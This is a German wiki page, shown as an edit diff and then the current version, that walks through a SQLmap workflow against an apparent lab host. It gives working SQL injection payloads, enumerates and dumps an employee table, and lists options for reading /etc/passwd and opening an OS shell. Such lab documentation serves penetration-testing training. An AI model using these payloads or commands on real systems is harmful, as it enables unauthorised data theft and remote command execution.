SQLmap Workflow: Unterschied zwischen den Versionen
Zur Navigation springen
Zur Suche springen
| Zeile 19: | Zeile 19: | ||
! Parameter !! Technik !! Beschreibung !! Beispiel-Payload | ! Parameter !! Technik !! Beschreibung !! Beispiel-Payload | ||
|- | |- | ||
| − | | username (POST) || Boolean-based blind || Antwort ändert sich abhängig von TRUE/FALSE || | + | | username (POST) || Boolean-based blind || Antwort ändert sich abhängig von TRUE/FALSE || username=test' RLIKE (SELECT (CASE WHEN (1=1) THEN 0x74657374 ELSE 0x28 END))-- |
|- | |- | ||
| − | | username (POST) || Error-based || Erzwingt DB-Fehler und leakt Infos || | + | | username (POST) || Error-based || Erzwingt DB-Fehler und leakt Infos || username=test' AND (SELECT COUNT(*),CONCAT((SELECT version()),FLOOR(RAND(0)*2))x FROM information_schema.plugins GROUP BY x) |
|- | |- | ||
| − | | username (POST) || Time-based blind || Antwortzeit verzögert durch SLEEP() || | + | | username (POST) || Time-based blind || Antwortzeit verzögert durch SLEEP() || username=test' AND (SELECT SLEEP(5))-- |
|} | |} | ||
| Zeile 32: | Zeile 32: | ||
== Datenbanken auflisten == | == Datenbanken auflisten == | ||
* '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" --dbs''' | * '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" --dbs''' | ||
| − | * Erkenntnis: | + | * Erkenntnis: Es wurden zwei Datenbanken gefunden: '''information_schema''' und '''tuxmen'''. |
| + | * Bewertung: '''information_schema''' ist eine Systemdatenbank. Fokus liegt auf '''tuxmen'''. | ||
| − | + | == Tabellen in der Datenbank 'tuxmen' auflisten == | |
| − | * | + | * '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" -D tuxmen --tables''' |
| − | * Erkenntnis: | + | * Erkenntnis: Auflistung der Tabellen in der Datenbank '''tuxmen'''. |
| − | + | * Schlussfolgerung: Diese Tabellen sind für die Exfiltration interessant. | |
| − | * Schlussfolgerung: | ||
| − | == | + | == Spalten in einer Tabelle auflisten == |
| − | * '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" -D | + | * '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" -D tuxmen -T mitarbeiter --columns''' |
| − | * Erkenntnis: Spaltennamen sichtbar, z. B. ''' | + | * Erkenntnis: Spaltennamen sichtbar, z. B. '''id''', '''name''', '''rolle'''. |
| − | == | + | == Daten exfiltrieren == |
| − | * '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" -D | + | * '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" -D tuxmen -T mitarbeiter -C name,rolle --dump''' |
| − | * Erkenntnis: | + | * Erkenntnis: Exfiltration von Benutzerdaten (Name/Rolle) im Klartext. |
| − | == | + | == Optionale Möglichkeiten == |
* '''--os-shell''' → Versuch, Betriebssystembefehle auszuführen | * '''--os-shell''' → Versuch, Betriebssystembefehle auszuführen | ||
* '''--file-read=/etc/passwd''' → Datei auf dem Server auslesen | * '''--file-read=/etc/passwd''' → Datei auf dem Server auslesen | ||
| Zeile 55: | Zeile 55: | ||
= Fazit = | = Fazit = | ||
SQLmap liefert einen strukturierten Weg: | SQLmap liefert einen strukturierten Weg: | ||
| − | Von der Bestätigung der Schwachstelle über die | + | Von der Bestätigung der Schwachstelle über die Datenbankstruktur bis zur Exfiltration der Inhalte. |
Jeder Schritt bringt eine konkrete Erkenntnis und baut auf dem vorigen auf. | Jeder Schritt bringt eine konkrete Erkenntnis und baut auf dem vorigen auf. | ||
Version vom 15. September 2025, 17:39 Uhr
SQLmap Workflow
- Einleitung
SQLmap automatisiert die Ausnutzung von SQL-Injection-Schwachstellen. Der Ablauf erfolgt schrittweise: erst Bestätigung, dann systematische Informationsgewinnung.
Test auf Verwundbarkeit
- sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" --batch
Erkenntnisblock
[13:13:17] [INFO] the back-end DBMS is MySQL web server operating system: Linux Debian web application technology: Apache 2.4.62 back-end DBMS: MySQL >= 5.0 (MariaDB fork)
Gefundene Verwundbarkeiten
| Parameter | Technik | Beschreibung | Beispiel-Payload |
|---|---|---|---|
| username (POST) | Boolean-based blind | Antwort ändert sich abhängig von TRUE/FALSE | username=test' RLIKE (SELECT (CASE WHEN (1=1) THEN 0x74657374 ELSE 0x28 END))-- |
| username (POST) | Error-based | Erzwingt DB-Fehler und leakt Infos | username=test' AND (SELECT COUNT(*),CONCAT((SELECT version()),FLOOR(RAND(0)*2))x FROM information_schema.plugins GROUP BY x) |
| username (POST) | Time-based blind | Antwortzeit verzögert durch SLEEP() | username=test' AND (SELECT SLEEP(5))-- |
Version und Banner auslesen
- sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" --banner
- Erkenntnis: Exakte Version des Datenbanksystems wird angezeigt.
Datenbanken auflisten
- sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" --dbs
- Erkenntnis: Es wurden zwei Datenbanken gefunden: information_schema und tuxmen.
- Bewertung: information_schema ist eine Systemdatenbank. Fokus liegt auf tuxmen.
Tabellen in der Datenbank 'tuxmen' auflisten
- sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" -D tuxmen --tables
- Erkenntnis: Auflistung der Tabellen in der Datenbank tuxmen.
- Schlussfolgerung: Diese Tabellen sind für die Exfiltration interessant.
Spalten in einer Tabelle auflisten
- sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" -D tuxmen -T mitarbeiter --columns
- Erkenntnis: Spaltennamen sichtbar, z. B. id, name, rolle.
Daten exfiltrieren
- sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" -D tuxmen -T mitarbeiter -C name,rolle --dump
- Erkenntnis: Exfiltration von Benutzerdaten (Name/Rolle) im Klartext.
Optionale Möglichkeiten
- --os-shell → Versuch, Betriebssystembefehle auszuführen
- --file-read=/etc/passwd → Datei auf dem Server auslesen
- Erkenntnis: Eskalation möglich, wenn DB-User ausreichende Rechte hat.
Fazit
SQLmap liefert einen strukturierten Weg: Von der Bestätigung der Schwachstelle über die Datenbankstruktur bis zur Exfiltration der Inhalte. Jeder Schritt bringt eine konkrete Erkenntnis und baut auf dem vorigen auf.